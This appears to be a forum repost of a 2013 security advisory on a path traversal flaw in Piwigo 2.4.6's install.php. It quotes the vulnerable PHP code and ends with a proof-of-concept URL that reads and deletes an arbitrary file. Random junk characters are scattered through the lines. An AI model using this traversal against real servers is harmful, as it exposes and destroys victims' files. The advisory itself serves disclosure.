Piwigo是用PHP编写的相册脚本。, _/ y& B3 a, @7 y9 a
' }) _! a9 f. yPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
# Z5 \4 i/ K" a2 ]====================================================================5 \1 k+ M! G$ e O# [
/install.php:; E! O3 u+ b/ t3 |0 ^0 s
-------------
+ G% I0 b, _6 P) q6 f113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))4 |* e8 _7 y' Y; O* A# P* u
114: {$ ?' o/ Z( J8 z% b# C
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']; ?. Z2 ?4 ?1 y8 e" N% r
116: header('Cache-Control: no-cache, must-revalidate');
# k' Y# _1 T7 G) T/ r6 a117: header('Pragma: no-cache');: i; M; l& r4 v6 |5 V: ]
118: header('Content-Disposition: attachment; filename="database.inc.php"');4 R3 y: _% ^% ~6 s' A" m! T5 u
119: header('Content-Transfer-Encoding: binary');2 C: Z' |7 O# W3 k8 x; Z9 z5 m
120: header('Content-Length: '.filesize($filename));
& |- H: ?2 J5 L; R# j121: echo file_get_contents($filename);0 D- Q* d8 F3 \0 Z/ f
122: unlink($filename);
# J2 w( \4 h/ }# t% m123: exit();
, t* c. T2 F$ a' m6 c1 `124: }
5 A9 \; O5 T! r) Y- a. F* S$ _====================================================================
6 g4 U6 M, _) I0 F4 j5 ]6 n
/ Z! K& ]) F ?+ v( ~" L- u, ], iTested on: Microsoft Windows 7 Ultimate SP1 (EN)# _. H. D' c6 A% j
Apache 2.4.2 (Win32)
9 W4 D) ?" C' o% P+ @) Z PHP 5.4.4# [0 K4 ~8 T2 w& T3 V5 U# S* X
MySQL 5.5.25a: X( Z- v/ }4 _% @& k8 R$ ]
$ w, s) r; c4 ?6 D8 l
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
! j& s$ z2 l) C" |6 e3 C @zeroscience
; @. |1 `) ]( x, G" [+ l ; u |' o. M9 @7 _1 r# x
Advisory ID: ZSL-2013-51277 C8 U& H" O7 T' O* }
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
$ x1 r0 `" O( B. W6 r* T; }Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
0 z! Y, n& z* s/ `! W8 ?
9 h. n" j& V# t# G$ n& w15.02.20132 M% q) j. J$ m& m
5 r( J! M% o* F) z1 J7 ?1 r
-- w7 p2 e1 g8 D) e, C! F. G1 ?
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% ^6 v: P. F& I4 ]5 l( f# f1 f
6 h) n. {; _+ ?8 h' E) }. v, @" ^ |